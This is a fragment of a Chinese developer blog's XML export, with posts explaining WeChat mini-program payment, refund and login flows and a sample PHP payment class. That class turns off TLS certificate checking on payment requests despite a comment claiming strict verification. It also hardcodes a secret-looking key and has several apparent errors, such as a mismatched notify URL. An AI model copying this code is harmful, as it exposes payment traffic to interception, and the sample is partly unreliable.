rel="noopener">我的vim配置</a></p><p>另外,推荐一个vim插件网站,上面几乎收集了市面上所有常用的vim插件,在想要为vim添加新功能而搜寻插件时,十分有用。</p><p><a href="https://vimawesome.com/" target="_blank" rel="noopener">vimawesome</a></p><p>如果你在vim使用中遇到了什么问题,也十分欢迎你给我留言,一起来探讨和解决。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 编辑器 </category>
</categories>
<tags>
<tag> 编辑器 </tag>
<tag> Linux </tag>
</tags>
</entry>
<entry>
<title>微信小程序的支付和退款流程</title>
<link href="/2017/11/04/weixin_mini_programs-pay/"/>
<url>/2017/11/04/weixin_mini_programs-pay/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>近期在做微信小程序时,涉及到了小程序的支付和退款流程,所以也大概的将这方面的东西看了一个遍,就在这篇博客里总结一下。</p><p>首先说明一下,微信小程序支付的<strong>主要逻辑集中在后端</strong>,前端只需携带支付所需的数据请求后端接口然后根据返回结果做相应成功失败处理即可。我在后端使用的是php,当然在这篇博客里我不打算贴一堆代码来说明支付的具体实现,而主要会侧重于整个支付的流程和一些细节方面的东西。所以使用其他后端语言的朋友有需要也是可以看一下的。很多时候开发的需求和相应问题的解决真的要跳出语言语法层面,去从系统和流程的角度考虑。好的,也不说什么废话了。进入正题。</p></blockquote><a id="more"></a><h3 id="支付"><a href="#支付" class="headerlink" title="支付"></a>支付</h3><p>支付主要分为几个步骤:</p><ol><li>前端携带支付需要的数据发起支付请求</li><li>后端在接收到支付请求后,处理支付数据,然后携带处理后的支付数据请求 <strong>微信服务器</strong> 的 <strong>支付统一下单接口</strong></li><li>后端接收到上一步请求微信服务器的返回数据,再次处理,然后返回前端让前端可以开始支付。</li><li>前端进行支付动作</li><li>前端支付完成后,微信服务器会向后端发送支付通知(也就是微信要告诉你客户已经付过钱了),后端根据这个通知确定支付完成,然后就去做支付完成后的相应动作,比如修改订单状态,添加交易日志啊等等。</li></ol><p>从这几个步骤可以看出,后端主要的作用就是将支付需要的数据传给微信服务器,再根据微信服务器的响应确定支付是否完成。</p><p>这个流程还是蛮容易理解的。形象的说,前端就是个顾客,后端就是店家,微信服务器的统一下单接口就像收银员。顾客跟店家说,我是谁谁谁,现在我要付多少多少钱给你买什么什么。店家就跟收银员说,那个谁谁谁要付多少钱,你准备收钱吧。收银员收到钱后,就去告诉店家,我已经收到钱了,你给他东西吧。</p><p>下面就详细的说明一下<strong>各个步骤的具体实现</strong>。</p><h4 id="前端请求支付"><a href="#前端请求支付" class="headerlink" title="前端请求支付"></a>前端请求支付</h4><p> 前端请求支付,就是简单的携带支付需要的数据,例如用户标识,支付金额,支付订单 ID 等等跟 <strong>你的业务逻辑有关</strong> 或者跟 <strong>下一步请求微信服务器支付统一下单接口需要的数据有关</strong> 的相关数据,使用微信小程序的 wx.request( ) 去请求后端的支付接口。</p><h4 id="后端请求微信服务器"><a href="#后端请求微信服务器" class="headerlink" title="后端请求微信服务器"></a>后端请求微信服务器</h4><p> 后端接收到前端发送的支付请求后,可以进行一下相关验证,例如判断一下用户有没有问题,支付金额对不对等等。</p><p> 在验证没什么问题,可以向微信服务器申请支付之后,后端需要使用 <strong>微信规定的数据格式</strong> 去请求微信的支付统一下单接口。</p><p>微信规定的请求数据 这需要较多代码实现。因为需要的数据个数较多,而且还需要加密并以 XML 格式发送。</p><p>首先,有以下数据是使用小程序支付必须提供给微信服务器的参数。</p><ul><li><p>小程序 <code>appid</code>。写小程序的大概没有不知道这个的。。。</p></li><li><p>用户标识 <code>openid</code>。也就是用户的小程序标识,在我<a href="http://www.cnblogs.com/afei-qwerty/p/7161634.html" target="_blank" rel="noopener">上篇博客</a>中说明了如何获取。</p></li><li><p>商户号 <code>mch</code>_id 。申请开通微信支付商户认证成功后微信发给你的邮件里有</p></li><li><p>商户订单号 <code>out_trade_no</code> 。商户为这次支付生成的订单号</p></li><li><p>总金额 <code>total_fee</code> 。订单总金额,很重要的一点是<strong>单位是分</strong>,要特别注意。</p></li><li><p>微信服务器回调通知接口地址 <code>notify_url</code>。微信确认钱已经到账后,会往这个地址多次发送消息,告诉你顾客已经付完钱了,你需要返回消息给微信表示你已经收到了通知。。这个地址不能有端口号,同时要能直接接受<code>POST</code>方法请求。</p></li><li><p>交易类型 <code>trade_type</code> 。微信小程序支付此值统一为 <code>JSAPI</code></p></li><li><p>商品信息 <code>Body</code>。类似<strong>“腾讯-游戏”</strong>这种格式</p></li><li><p>终端IP地址 <code>spbill_create_ip</code> 。终端地址IP,也就是请求支付的 IP 地址。</p></li><li><p>随机字符串 <code>nonce_str</code> 。需要后端随机生成的字符串用于保证数据安全。微信要求不长于32位。</p></li><li><p>签名 <code>sign</code> 。使用上面的所有参数进行相应处理加密生成签名。</p></li></ul><p>在处理好以上所有数据后,将这些数据以 XML 格式整理并以 POST 方法发送到 <strong>微信支付统一下单接口</strong> <a href="https://api.mch.weixin.qq.com/pay/unifiedorder" target="_blank" rel="noopener">https://api.mch.weixin.qq.com/pay/unifiedorder</a> 。</p><h4 id="3-后端接受微信服务器返回数据"><a href="#3-后端接受微信服务器返回数据" class="headerlink" title="3.后端接受微信服务器返回数据"></a>3.后端接受微信服务器返回数据</h4><p>微信服务器在接收到支付数据之后,如果数据没有问题,其会返回用于支付的相应数据,其中非常重要的是 名称为 prepay_id 的数据字段,需要将此数据返回前端,前端才能继续支付。</p><p>因此,在后端接收到微信服务器的返回数据后,需要进行相应的处理,最终返回到前端如下数据:</p><ul><li>appid 不需多说</li><li>timeStamp 当前时间戳<ul><li>nonceStr 随机字符串</li><li>package 就是上面提到的 prepay_id,不过切记格式如 “prepay_id= prepay_id_item“。否则会导致错误。</li><li>signType 加密方式,一般应该是 MD5</li><li>paySign 对以上数据进行相应处理并加密。</li></ul></li></ul><p>到这里,后端的支付接口已经完成了接收前端支付请求,并返回了前端支付所需数据的功能。</p><h4 id="前端发起支付"><a href="#前端发起支付" class="headerlink" title="前端发起支付"></a>前端发起支付</h4><p> 前端在接收到返回数据后,使用 <code>wx.requestPayment()</code>来请求发起支付。此 API 需要的对象参数各项值就是我们上一步返回的各个数据。</p><h4 id="后端接受微信服务器回调"><a href="#后端接受微信服务器回调" class="headerlink" title="后端接受微信服务器回调"></a>后端接受微信服务器回调</h4><p> 前端完成支付后,微信服务器确认支付已经完成。就会向第一步中设置的回调地址发送通知。后端的接收回调接口在接收到通知后,就可以判断支付是否完成,从而决定后续动作。</p><p> 需要注意的是,在接收到微信服务器的回调通知后,需要返回success数据向微信服务器告知已得到回调通知。否则微信服务器会不停的向后端发送消息。</p><p> 微信的大概支付流程就是这样。以下是PHP语法的微信支付类,可以比照上面的步骤介绍,加深理解。在需要支付时,直接传入参数实例化此类再调用类的 pay 方法即可。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//微信支付类</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">WeiXinPay</span></span>{</span><br><span class="line"></span><br><span class="line"> <span class="comment">//=======【基本信息设置】=====================================</span></span><br><span class="line"> <span class="comment">//微信公众号身份的唯一标识</span></span><br><span class="line"> <span class="keyword">protected</span> $APPID = appid;<span class="comment">//填写您的appid。微信公众平台里的</span></span><br><span class="line"> <span class="keyword">protected</span> $APPSECRET = secret;</span><br><span class="line"> <span class="comment">//受理商ID,身份标识</span></span><br><span class="line"> <span class="keyword">protected</span> $MCHID = <span class="string">'11111111'</span>;<span class="comment">//商户id</span></span><br><span class="line"> <span class="comment">//商户支付密钥Key</span></span><br><span class="line"> <span class="keyword">protected</span> $KEY = <span class="string">'192006250b4c09247ec02edce69f6a2d'</span>;</span><br><span class="line"> <span class="comment">//回调通知接口</span></span><br><span class="line"> <span class="keyword">protected</span> $APPURL = <span class="string">'https://api.mch.weixin.qq.com/mmpaymkttransfers/promotion/transfers'</span>;</span><br><span class="line"> <span class="comment">//交易类型</span></span><br><span class="line"> <span class="keyword">protected</span> $TRADETYPE = <span class="string">'JSAPI'</span>;</span><br><span class="line"> <span class="comment">//商品类型信息</span></span><br><span class="line"> <span class="keyword">protected</span> $BODY = <span class="string">'wx/book'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//微信支付类的构造函数</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($openid,$outTradeNo,$totalFee)</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->openid = $openid; <span class="comment">//用户唯一标识</span></span><br><span class="line"> <span class="keyword">$this</span>->outTradeNo = $outTradeNo; <span class="comment">//商品编号</span></span><br><span class="line"> <span class="keyword">$this</span>->totalFee = $totalFee; <span class="comment">//总价</span></span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//微信支付类向外暴露的支付接口</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">pay</span><span class="params">()</span></span>{</span><br><span class="line"> $result = <span class="keyword">$this</span>->weixinapp();</span><br><span class="line"> <span class="keyword">return</span> $result;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//对微信统一下单接口返回的支付相关数据进行处理</span></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">weixinapp</span><span class="params">()</span></span>{</span><br><span class="line"> $unifiedorder=<span class="keyword">$this</span>->unifiedorder();</span><br><span class="line"></span><br><span class="line"> $parameters=<span class="keyword">array</span>(</span><br><span class="line"> <span class="string">'appId'</span>=><span class="keyword">$this</span>->APPID,<span class="comment">//小程序ID</span></span><br><span class="line"> <span class="string">'timeStamp'</span>=><span class="string">''</span>.time().<span class="string">''</span>,<span class="comment">//时间戳</span></span><br><span class="line"> <span class="string">'nonceStr'</span>=><span class="keyword">$this</span>->createNoncestr(),<span class="comment">//随机串</span></span><br><span class="line"> <span class="string">'package'</span>=><span class="string">'prepay_id='</span>.$unifiedorder[<span class="string">'prepay_id'</span>],<span class="comment">//数据包</span></span><br><span class="line"> <span class="string">'signType'</span>=><span class="string">'MD5'</span><span class="comment">//签名方式</span></span><br><span class="line"> );</span><br><span class="line"> $parameters[<span class="string">'paySign'</span>]=<span class="keyword">$this</span>->getSign($parameters);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> $parameters;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> *请求微信统一下单接口</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">unifiedorder</span><span class="params">()</span></span>{</span><br><span class="line"> $parameters = <span class="keyword">array</span>(</span><br><span class="line"> <span class="string">'appid'</span> => <span class="keyword">$this</span>->APPID,<span class="comment">//小程序id</span></span><br><span class="line"> <span class="string">'mch_id'</span>=> <span class="keyword">$this</span>->MCHID,<span class="comment">//商户id</span></span><br><span class="line"> <span class="string">'spbill_create_ip'</span>=>$_SERVER[<span class="string">'REMOTE_ADDR'</span>],<span class="comment">//终端ip</span></span><br><span class="line"> <span class="string">'notify_url'</span>=><span class="keyword">$this</span>->APPURL, <span class="comment">//通知地址</span></span><br><span class="line"> <span class="string">'nonce_str'</span>=> <span class="keyword">$this</span>->createNoncestr(),<span class="comment">//随机字符串</span></span><br><span class="line"> <span class="string">'out_trade_no'</span>=><span class="keyword">$this</span>->outTradeNo,<span class="comment">//商户订单编号</span></span><br><span class="line"> <span class="string">'total_fee'</span>=>floatval(<span class="keyword">$this</span>->totalFee), <span class="comment">//总金额</span></span><br><span class="line"> <span class="string">'open_id'</span>=><span class="keyword">$this</span>->openid,<span class="comment">//用户openid</span></span><br><span class="line"> <span class="string">'trade_type'</span>=><span class="keyword">$this</span>->TRADETYPE,<span class="comment">//交易类型</span></span><br><span class="line"> <span class="string">'body'</span> =><span class="keyword">$this</span>->BODY, <span class="comment">//商品信息</span></span><br><span class="line"> );</span><br><span class="line"> $parameters[<span class="string">'sign'</span>] = <span class="keyword">$this</span>->getSign($parameters);</span><br><span class="line"> $xmlData = <span class="keyword">$this</span>->arrayToXml($parameters);</span><br><span class="line"> $xml_result = <span class="keyword">$this</span>->postXmlCurl($xmlData,<span class="string">'https://api.mch.weixin.qq.com/pay/unifiedorder'</span>,<span class="number">60</span>);</span><br><span class="line"> $result = <span class="keyword">$this</span>->xmlToArray($xml_result);</span><br><span class="line"> <span class="keyword">return</span> $result;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//数组转字符串方法</span></span><br><span class="line"> <span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">arrayToXml</span><span class="params">($arr)</span></span>{</span><br><span class="line"> $xml = <span class="string">"<xml>"</span>;</span><br><span class="line"> <span class="keyword">foreach</span> ($arr <span class="keyword">as</span> $key=>$val)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (is_numeric($val)){</span><br><span class="line"> $xml.=<span class="string">"<"</span>.$key.<span class="string">">"</span>.$val.<span class="string">"</"</span>.$key.<span class="string">">"</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $xml.=<span class="string">"<"</span>.$key.<span class="string">"><![CDATA["</span>.$val.<span class="string">"]]></"</span>.$key.<span class="string">">"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> $xml.=<span class="string">"</xml>"</span>;</span><br><span class="line"> <span class="keyword">return</span> $xml;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">xmlToArray</span><span class="params">($xml)</span></span>{</span><br><span class="line"> $array_data = json_decode(json_encode(simplexml_load_string($xml, <span class="string">'SimpleXMLElement'</span>, LIBXML_NOCDATA)), <span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">return</span> $array_data;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//发送xml请求方法</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">postXmlCurl</span><span class="params">($xml, $url, $second = <span class="number">30</span>)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> $ch = curl_init();</span><br><span class="line"> <span class="comment">//设置超时</span></span><br><span class="line"> curl_setopt($ch, CURLOPT_TIMEOUT, $second);</span><br><span class="line"> curl_setopt($ch, CURLOPT_URL, $url);</span><br><span class="line"> curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, <span class="keyword">FALSE</span>);</span><br><span class="line"> curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, <span class="keyword">FALSE</span>); <span class="comment">//严格校验</span></span><br><span class="line"> <span class="comment">//设置header</span></span><br><span class="line"> curl_setopt($ch, CURLOPT_HEADER, <span class="keyword">FALSE</span>);</span><br><span class="line"> <span class="comment">//要求结果为字符串且输出到屏幕上</span></span><br><span class="line"> curl_setopt($ch, CURLOPT_RETURNTRANSFER, <span class="keyword">TRUE</span>);</span><br><span class="line"> <span class="comment">//post提交方式</span></span><br><span class="line"> curl_setopt($ch, CURLOPT_POST, <span class="keyword">TRUE</span>);</span><br><span class="line"> curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);</span><br><span class="line"> curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, <span class="number">20</span>);</span><br><span class="line"> curl_setopt($ch, CURLOPT_TIMEOUT, <span class="number">40</span>);</span><br><span class="line"> set_time_limit(<span class="number">0</span>);</span><br><span class="line"> <span class="comment">//运行curl</span></span><br><span class="line"> $data = curl_exec($ch);</span><br><span class="line"> <span class="comment">//返回结果</span></span><br><span class="line"> <span class="keyword">if</span> ($data) {</span><br><span class="line"> curl_close($ch);</span><br><span class="line"> <span class="keyword">return</span> $data;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $error = curl_errno($ch);</span><br><span class="line"> curl_close($ch);</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> WxPayException(<span class="string">"curl出错,错误码:$error"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * 对要发送到微信统一下单接口的数据进行签名</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">getSign</span><span class="params">($Obj)</span></span>{</span><br><span class="line"> <span class="keyword">foreach</span> ($Obj <span class="keyword">as</span> $k => $v){</span><br><span class="line"> $Parameters[$k] = $v;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//签名步骤一:按字典序排序参数</span></span><br><span class="line"> ksort($Parameters);</span><br><span class="line"> $String = <span class="keyword">$this</span>->formatBizQueryParaMap($Parameters, <span class="keyword">false</span>);</span><br><span class="line"> <span class="comment">//签名步骤二:在string后加入KEY</span></span><br><span class="line"> $String = $String.<span class="string">"&key="</span>.<span class="keyword">$this</span>->KEY;</span><br><span class="line"> <span class="comment">//签名步骤三:MD5加密</span></span><br><span class="line"> $String = md5($String);</span><br><span class="line"> <span class="comment">//签名步骤四:所有字符转为大写</span></span><br><span class="line"> $result_ = strtoupper($String);</span><br><span class="line"> <span class="keyword">return</span> $result_;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> *排序并格式化参数方法,签名时需要使用</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">formatBizQueryParaMap</span><span class="params">($paraMap, $urlencode)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> $buff = <span class="string">""</span>;</span><br><span class="line"> ksort($paraMap);</span><br><span class="line"> <span class="keyword">foreach</span> ($paraMap <span class="keyword">as</span> $k => $v)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span>($urlencode)</span><br><span class="line"> {</span><br><span class="line"> $v = urlencode($v);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//$buff .= strtolower($k) . "=" . $v . "&";</span></span><br><span class="line"> $buff .= $k . <span class="string">"="</span> . $v . <span class="string">"&"</span>;</span><br><span class="line"> }</span><br><span class="line"> $reqPar;</span><br><span class="line"> <span class="keyword">if</span> (strlen($buff) > <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> $reqPar = substr($buff, <span class="number">0</span>, strlen($buff)<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $reqPar;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * 生成随机字符串方法</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">createNoncestr</span><span class="params">($length = <span class="number">32</span> )</span></span>{</span><br><span class="line"> $chars = <span class="string">"abcdefghijklmnopqrstuvwxyz0123456789"</span>;</span><br><span class="line"> $str =<span class="string">""</span>;</span><br><span class="line"> <span class="keyword">for</span> ( $i = <span class="number">0</span>; $i < $length; $i++ ) {</span><br><span class="line"> $str.= substr($chars, mt_rand(<span class="number">0</span>, strlen($chars)<span class="number">-1</span>), <span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $str;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>以上就是微信支付的相关流程。在理清思路后,流程还是比较清晰和简单的。重点在于需要注意一些细节问题,例如数据格式,加密方法等。</p><h3 id="退款"><a href="#退款" class="headerlink" title="退款"></a>退款</h3><p>小程序退款的流程和付款需要的参数类似,除了一些细节上的不同,流程均是后端向微信服务器发送退款请求,前端逻辑较为简单。</p><p>首先退款的步骤通常如下:</p><ol><li>用户前端点击退款按钮后,后端接收到用户的退款请求呈现给商户,商户确定允许退款后,后端再发起向微信退款接口的请求来请求退款。</li><li>后端向微信退款接口发送请求后,得到响应信息,确定退款是否完成,根据退款是否完成再去进行改变订单状态等业务逻辑。</li></ol><p>退款的步骤相对微信支付来说比较简单。</p><p>值得注意的是,向微信退款接口请求退款后,根据得到的响应是可以直接确定退款是否完成的。不再需要设置专门的回调接口等待微信通知。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 微信小程序 </category>
</categories>
<tags>
<tag> 微信小程序 </tag>
</tags>
</entry>
<entry>
<title>微信小程序的登录和登录状态维护</title>
<link href="/2017/10/12/weixin-mini-programs-user/"/>
<url>/2017/10/12/weixin-mini-programs-user/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>在微信小程序开发中,登录和登录状态维护,是一套比较固定的流程。</p><p>本篇博客对小程序的用户登录及登录状态的维护的流程,进行了总结和介绍。</p><p>也涉及到了获取用户信息这一常见的开发需求。</p></blockquote><a id="more"></a><h4 id="登录"><a href="#登录" class="headerlink" title="登录"></a>登录</h4><p>微信小程序的登录主要步骤如下:</p><ol><li><p>客户端调用 <code>wx.login()</code> ,获得返回参数 <code>code</code></p></li><li><p>客户端调用 <code>wx.request()</code> 将 <code>code</code> 发送到服务器</p></li><li><p>服务器将 <code>code</code> 和存储在服务器的 <code>appid</code> 和 <code>appSecret</code> 共三个参数作为请求参数,向微信服务器接口发起请求获得返回参数 <code>openid</code> 和 <code>session_key</code> 。</p><p><code>openid</code> 是用户唯一标识。</p><p><code>session_key</code> 是针对用户数据进行加密签名的密匙。session_key在文件校验,获取用户信息时均需使用</p><p>微信服务器返回的两个参数一般为了安全起见,都不会发往客户端。</p><p>微信服务器的请求接口地址为:<code>https://api.weixin.qq.com/sns/jscode2session?appid=APPID&secret=SECRET&js_code=JSCODE&grant_type=authorization_code</code></p></li><li><p>服务器使用 <code>openid</code> 和 <code>session_key</code> 生成 <code>3rd_session</code> 作为自己派发的登陆态标识<code>token</code>,将其发送到小程序客户端。</p><p>在生成 <code>3rd_session</code> 时,将 <code>3rd_session</code> 作为键,将<code>session_key + openid</code> 作为值,存储在 服务器的 <code>session</code> 存储中。每个<code>3rd_session</code>都需要设置一个失效时间。</p></li><li><p>小程序客户端将 <code>3rd_session</code> 存入 <code>storage</code></p></li><li><p>后续用户进入小程序时,首先调用<code>wx.checksession()</code> 检测登陆态,如果失败,重新发起登陆流程。</p></li><li><p>如果登陆状态未失效,则从 <code>storage</code> 中读取 <code>3rd_session</code>。在需要用户标识的 wx.request() 时作为用户标识发送到服务器检验,服务器判断其是否合法。</p></li></ol><h4 id="获取用户信息"><a href="#获取用户信息" class="headerlink" title="获取用户信息"></a>获取用户信息</h4><p>获取用户信息时,根据微信请求用户信息接口<code>wx.getUserinfo()</code>函数的请求参数<code>withCredentials</code>的布尔值及用户的登陆状态不同,会有不同的返回值。</p><ol><li><p><strong>当<code>withCredentials</code> 为 <code>true</code> 且 用户登陆态未到期</strong></p><p>返回的数据会包括 <code>encryptedData</code>,<code>iv</code>等敏感数据。如下:</p><ol><li><p><code>userinfo</code> 不包含敏感数据的用户信息</p></li><li><p><code>rawData</code> 不包含敏感数据的原始数据字符串,用于签名校验</p></li><li><p><code>signature</code>。 使用<code>sha1( rawData + sessionkey )</code> 得到的字符串,用于签名校验数据</p></li><li><p><code>encryptedData</code> 包含 <code>openId</code>,<code>unionId</code> 等用户敏感数据的加密数据</p></li><li><p><code>iv</code> 加密算法的初始向量</p></li></ol></li></ol><ol start="2"><li><p><strong>当withCredentials 为 <code>false</code> 时</strong></p><p>不要求登陆状态,返回数据不包含敏感数据。</p></li></ol><hr><h4 id="小程序的数据签名校验和数据解密"><a href="#小程序的数据签名校验和数据解密" class="headerlink" title="小程序的数据签名校验和数据解密"></a>小程序的数据签名校验和数据解密</h4><p><strong>签名校验(用于校验数据完整性等):</strong></p><p>需要使用<code>session_key</code>。客户端将 <code>signature</code> 和 <code>rawData</code> 发送到服务器,服务器通过相同的 <code>sha1( rewData + session_key)</code> 算法计算出 <code>signature2</code>,并与客户端发送过来的<code>signature</code>对比,校验数据完整性。</p><hr><p><strong>加密数据encryptedData的解密:</strong></p><p>需要客户端将接口返回的<code>encryptedData</code>发送到服务器,服务器使用 <code>appId</code> 和 <code>session_key</code> ,根据加密算法的初始向量 <code>iv</code> 对 <code>encryptedData</code> 进行解密(微信提供有后端解密代码,包括python,php等(无java)</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 微信小程序 </category>
</categories>
<tags>
<tag> 微信小程序 </tag>
</tags>
</entry>
<entry>
<title>图片模态框效果实现(二):BootStrap插件实现</title>
<link href="/2017/06/12/modal-2/"/>
<url>/2017/06/12/modal-2/</url>
